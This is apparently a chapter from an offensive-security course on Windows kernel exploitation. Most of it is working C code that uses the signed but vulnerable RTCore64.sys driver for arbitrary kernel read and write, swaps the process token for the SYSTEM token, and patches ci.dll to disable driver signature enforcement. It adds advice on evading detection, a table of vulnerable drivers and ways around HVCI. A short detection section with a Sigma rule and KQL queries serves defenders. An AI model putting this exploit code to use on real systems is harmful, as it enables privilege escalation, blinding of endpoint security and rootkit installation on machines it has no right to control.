Kernel Exploitation Concepts
Getting from ring-3 to ring-0 is the definitive privilege escalation path. This chapter covers the Windows kernel attack surface — IOCTL exploitation, the token-steal shellcode pattern, Driver Signature Enforcement bypass via CI.dll patching, and the LOLDriver pattern for obtaining arbitrary kernel read/write using a signed-but-vulnerable driver, then using that primitive to elevate a process token to SYSTEM.
You have a foothold as a low-privileged local user on a Windows 10 endpoint. EDR is running as a kernel callback (ObRegisterCallbacks, PsSetCreateProcessNotifyRoutine), which means it can see and block your operations even if you defeat userland hooks. The only way to blind the EDR kernel callbacks is to operate at the same privilege level — ring-0. You load a legitimately signed vulnerable driver (RTCore64.sys from an older MSI utility), use its exposed IOCTL to read and write arbitrary kernel addresses, locate your process's EPROCESS.Token, and overwrite it with the System process token value. You are now SYSTEM, and can patch CI.dll to disable driver signing so you load your own unsigned rootkit driver.
Windows Kernel Architecture
Kernel Exploitation Primitives
| Primitive | What It Gives You | How to Get It |
|---|---|---|
| Arbitrary Read (r/w) | Read/write any kernel VA | Vulnerable IOCTL in signed driver |
| Arbitrary Execute | Run shellcode in ring-0 | Overwrite function pointer / IDT entry; requires arbitrary write first |
| Token swap | SYSTEM token in any process | Arbitrary write to EPROCESS.Token offset |
| CI.dll patch | Disable Driver Signature Enforcement | Arbitrary write to g_CiEnabled in ci.dll |
| Callback removal | Blind EDR kernel callbacks | Overwrite callback array (PsSetCreateProcessNotifyRoutineEx array) |
Kernel Token Steal via LOLDriver Primitive
// Step 1: load RTCore64.sys (signed by MSI, Win7-W10) via NtLoadDriver or
// Service Manager (covered in ch139). Here we show the R/W usage after loading.
// RTCore64 IOCTL numbers (from reverse engineering):
// 0x80002048 — arbitrary kernel memory read (reads DWORD at target addr)
// 0x8000204c — arbitrary kernel memory write (writes DWORD at target addr)
#define RTCORE_READ 0x80002048
#define RTCORE_WRITE 0x8000204c
typedef struct _RTCORE_READ {
BYTE Padding1[8];
QWORD Address; // kernel virtual address to read
BYTE Padding2[4];
DWORD ReadSize; // bytes to read (1,2,4,8)
DWORD Value; // OUT: value read
BYTE Padding3[16];
} RTCORE_READ, *PRTCORE_READ;
typedef struct _RTCORE_WRITE {
BYTE Padding1[8];
QWORD Address;
BYTE Padding2[4];
DWORD WriteSize;
DWORD Value;
BYTE Padding3[16];
} RTCORE_WRITE, *PRTCORE_WRITE;
DWORD KernelRead(HANDLE hDrv, QWORD addr) {
RTCORE_READ req = {0};
req.Address = addr;
req.ReadSize = 4;
DWORD bytesRet;
DeviceIoControl(hDrv, RTCORE_READ, &req, sizeof(req),
&req, sizeof(req), &bytesRet, NULL);
return req.Value;
}
void KernelWrite(HANDLE hDrv, QWORD addr, DWORD val) {
RTCORE_WRITE req = {0};
req.Address = addr;
req.WriteSize = 4;
req.Value = val;
DWORD bytesRet;
DeviceIoControl(hDrv, RTCORE_WRITE, &req, sizeof(req),
&req, sizeof(req), &bytesRet, NULL);
}
// Read/write a full 64-bit pointer by reading two DWORDs
QWORD KernelReadQ(HANDLE hDrv, QWORD addr) {
QWORD lo = KernelRead(hDrv, addr);
QWORD hi = KernelRead(hDrv, addr + 4);
return lo | (hi << 32);
}
void KernelWriteQ(HANDLE hDrv, QWORD addr, QWORD val) {
KernelWrite(hDrv, addr, (DWORD)(val & 0xFFFFFFFF));
KernelWrite(hDrv, addr + 4, (DWORD)(val >> 32));
}
// Step 2: Locate EPROCESS structures using NtQuerySystemInformation
// SystemModuleInformation → ntoskrnl base → add PsInitialSystemProcess RVA from exports
QWORD GetNtoskrnlBase() {
ULONG len;
NtQuerySystemInformation(11 /* SystemModuleInformation */, NULL, 0, &len);
BYTE* buf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, len * 2);
NtQuerySystemInformation(11, buf, len * 2, &len);
SYSTEM_MODULE_INFORMATION* info = (SYSTEM_MODULE_INFORMATION*)buf;
// First module entry is always ntoskrnl.exe
QWORD base = (QWORD)info->Modules[0].Base;
HeapFree(GetProcessHeap(), 0, buf);
return base;
}
// Step 3: resolve PsInitialSystemProcess kernel address by loading ntoskrnl
// into userland (as a data file, not an executable) and walking its exports
QWORD GetPsInitialSystemProcess(QWORD ntoskrnlBase) {
HMODULE hUser = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
QWORD exportOffset = (QWORD)GetProcAddress(hUser, "PsInitialSystemProcess") - (QWORD)hUser;
FreeLibrary(hUser);
return ntoskrnlBase + exportOffset;
}
// Step 4: token steal
// EPROCESS.UniqueProcessId: +0x440 (Win10 22H2)
// EPROCESS.Token: +0x4b8 (Win10 22H2)
// EPROCESS.ActiveProcessLinks: +0x448
#define TOKEN_OFFSET 0x4b8
#define PID_OFFSET 0x440
#define APLINKS_OFFSET 0x448
void StealSystemToken(HANDLE hDrv) {
QWORD ntBase = GetNtoskrnlBase();
QWORD psInitPtr = GetPsInitialSystemProcess(ntBase);
// Dereference the pointer to get System EPROCESS
QWORD systemEproc = KernelReadQ(hDrv, psInitPtr);
QWORD systemToken = KernelReadQ(hDrv, systemEproc + TOKEN_OFFSET);
// Mask off the reference count bits (low 4 bits)
systemToken &= ~0xFULL;
// Walk ActiveProcessLinks to find our EPROCESS by PID
DWORD ourPid = GetCurrentProcessId();
QWORD current = systemEproc;
for (int i = 0; i < 1024; i++) {
DWORD pid = KernelRead(hDrv, current + PID_OFFSET);
if (pid == ourPid) {
// Replace our token with System's
KernelWriteQ(hDrv, current + TOKEN_OFFSET, systemToken);
printf("[+] Token stolen — now SYSTEM\n");
return;
}
// Follow Flink, subtract list_entry offset to get next EPROCESS base
QWORD flink = KernelReadQ(hDrv, current + APLINKS_OFFSET);
current = flink - APLINKS_OFFSET;
}
printf("[-] Process not found in EPROCESS list\n");
}
DSE Bypass — Patching ci.dll
// After obtaining kernel arbitrary write, patch g_CiEnabled in ci.dll to 0
// This disables Driver Signature Enforcement — unsigned .sys files can then be loaded
// via NtLoadDriver or CreateService(KERNEL_DRIVER)
// Step 1: find ci.dll base in kernel using NtQuerySystemInformation (same as above)
// Step 2: load ci.dll in userland as data file, resolve g_CiEnabled RVA
QWORD GetCiEnabledAddr(QWORD ciDllBase) {
HMODULE hUser = LoadLibraryExA("ci.dll", NULL, DONT_RESOLVE_DLL_REFERENCES);
QWORD offset = (QWORD)GetProcAddress(hUser, "g_CiEnabled") - (QWORD)hUser;
FreeLibrary(hUser);
return ciDllBase + offset;
}
void PatchCiEnabled(HANDLE hDrv, QWORD ciBase) {
QWORD ciEnabledAddr = GetCiEnabledAddr(ciBase);
DWORD prev = KernelRead(hDrv, ciEnabledAddr);
KernelWrite(hDrv, ciEnabledAddr, 0);
printf("[+] g_CiEnabled patched: %d -> 0 (DSE disabled)\n", prev);
// Now: NtLoadDriver with any .sys file will succeed even without Authenticode sig
}
// Restore after loading your driver — leaving DSE disabled is noisy:
void RestoreCiEnabled(HANDLE hDrv, QWORD ciBase) {
QWORD ciEnabledAddr = GetCiEnabledAddr(ciBase);
KernelWrite(hDrv, ciEnabledAddr, 6); // typical enabled value
}
LOLDriver Acquisition and BYOVD Summary
| Driver | CVE / Bug | IOCTL Primitive | Still Valid? |
|---|---|---|---|
| RTCore64.sys (MSI Afterburner) | CVE-2019-16098 | Arbitrary R/W @ 0x80002048/4c | Blocked in 22H2+ via vulnerable driver blocklist |
| WinRing0x64.sys (hardware monitoring) | CVE-2021-41285 | Arbitrary R/W via IOCTL | Blocked in recent updates |
| dbutil_2_3.sys (Dell BIOS update) | CVE-2021-21551 | Arbitrary R/W + arbitrary execute | Revoked cert, blocked |
| ene.sys (ENE Technology) | CVE-2020-12446 | Physical memory R/W | Blocked |
| kdmapper pattern | N/A | Map unsigned driver, then remove iqvw64e.sys | Partially blocked; check loldrivers.io |
Microsoft maintains a kernel driver block list updated via Windows Update. Most well-known LOLDrivers are now blocked on fully patched systems. Check loldrivers.io for current driver status before attempting BYOVD on a target. Enterprise environments may enforce HVCI (Hypervisor-Protected Code Integrity), which makes kernel code injection significantly harder — it enforces kernel code signing at the hypervisor level.
Detection Engineering
-- Key signals for kernel exploitation via LOLDriver / BYOVD:
-- 1. Sysmon Event 6: Driver loaded — image is NOT signed or signature does not match
-- 2. Service creation for kernel-mode driver via Service Manager
-- 3. DeviceIoControl with known vulnerable driver device name
-- 4. g_CiEnabled becoming 0 → verifiable by memory forensics (LiveKD, WinPmem)
-- 5. Process token change detected by EDR kernel callbacks (though callback removal
-- defeats this once kernel access is obtained — chicken/egg problem)
title: Vulnerable Signed Driver Loaded (BYOVD Pattern)
logsource:
product: windows
category: driver_load # Sysmon Event 6
detection:
selection_hashes:
Hashes|contains:
- 'SHA256=1A9340839B54EAE96E42A0C1B49DA55' # RTCore64.sys
- 'SHA256=04E6DB4A0E60BEDF97ADE33DFF26C76' # WinRing0x64
selection_name:
ImageLoaded|endswith:
- '\RTCore64.sys'
- '\WinRing0x64.sys'
- '\dbutil_2_3.sys'
condition: selection_hashes OR selection_name
level: high
tags: [attack.privilege_escalation, T1543.003]
-- MDE KQL: kernel driver load from unusual path
DeviceEvents
| where ActionType == "DriverLoad"
| where FileName has_any ("RTCore64", "WinRing0", "dbutil")
| project Timestamp, DeviceName, FileName, SHA256,
InitiatingProcessFileName, InitiatingProcessCommandLine
-- MDE KQL: privilege escalation via SYSTEM token acquisition (process goes to SYSTEM)
DeviceProcessEvents
| where ProcessIntegrityLevel == "System"
| where InitiatingProcessIntegrityLevel != "System"
| where AccountName !has "SYSTEM"
| where FileName !in~ ("svchost.exe", "services.exe", "smss.exe", "wininit.exe")
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AccountName
Q&A
How does HVCI (Hypervisor-Protected Code Integrity) defeat the token-steal pattern, and what approaches still work against HVCI-enabled targets?
HVCI enforces that all kernel code must be signed by a trusted certificate, and it does so at the hypervisor (VTL0/VTL1 boundary) level — not in the NT kernel itself. Even if an attacker has arbitrary kernel write, they cannot allocate executable memory in the kernel or modify existing executable kernel pages, because those pages' execute permissions are controlled by the second-level address table (SLAT/EPT) managed by the hypervisor, which the NT kernel cannot directly modify. This defeats classic kernel shellcode injection and code-overwrite techniques.
However, the token-steal pattern described in this chapter (writing to EPROCESS.Token) writes to kernel data, not kernel code. HVCI does not protect arbitrary kernel data writes — it only enforces code signing for executable pages. Therefore, a LOLDriver arbitrary-write primitive can still execute a token swap against an HVCI-enabled system. The limitation is loading the exploiting driver itself: on HVCI systems, drivers must have EV code-signing certificates (not just standard Authenticode), and Microsoft's Vulnerable Driver Blocklist is enforced via HVCI-protected policy. Getting a driver loaded against a fully HVCI-enabled, blocklist-updated target requires either a driver with a currently-valid EV certificate that hasn't been revoked, a driver signed by a Microsoft Windows Hardware Quality Labs (WHQL) signature that is still trusted, or a kernel vulnerability in a legitimate driver already on the system. The practical approaches that remain against HVCI: (1) find a zero-day in a legitimate in-box driver; (2) use a driver with a valid EV cert that is not yet blocklisted (treat this as a time-limited resource); (3) target older Windows versions or systems not enrolled in blocklist updates. Credential Guard, which runs in VTL1, is a separate protection that prevents LSASS process memory access even from ring-0 — a compromised kernel cannot directly read Credential Guard secrets, as they are in a separate VTL that shares no memory with VTL0.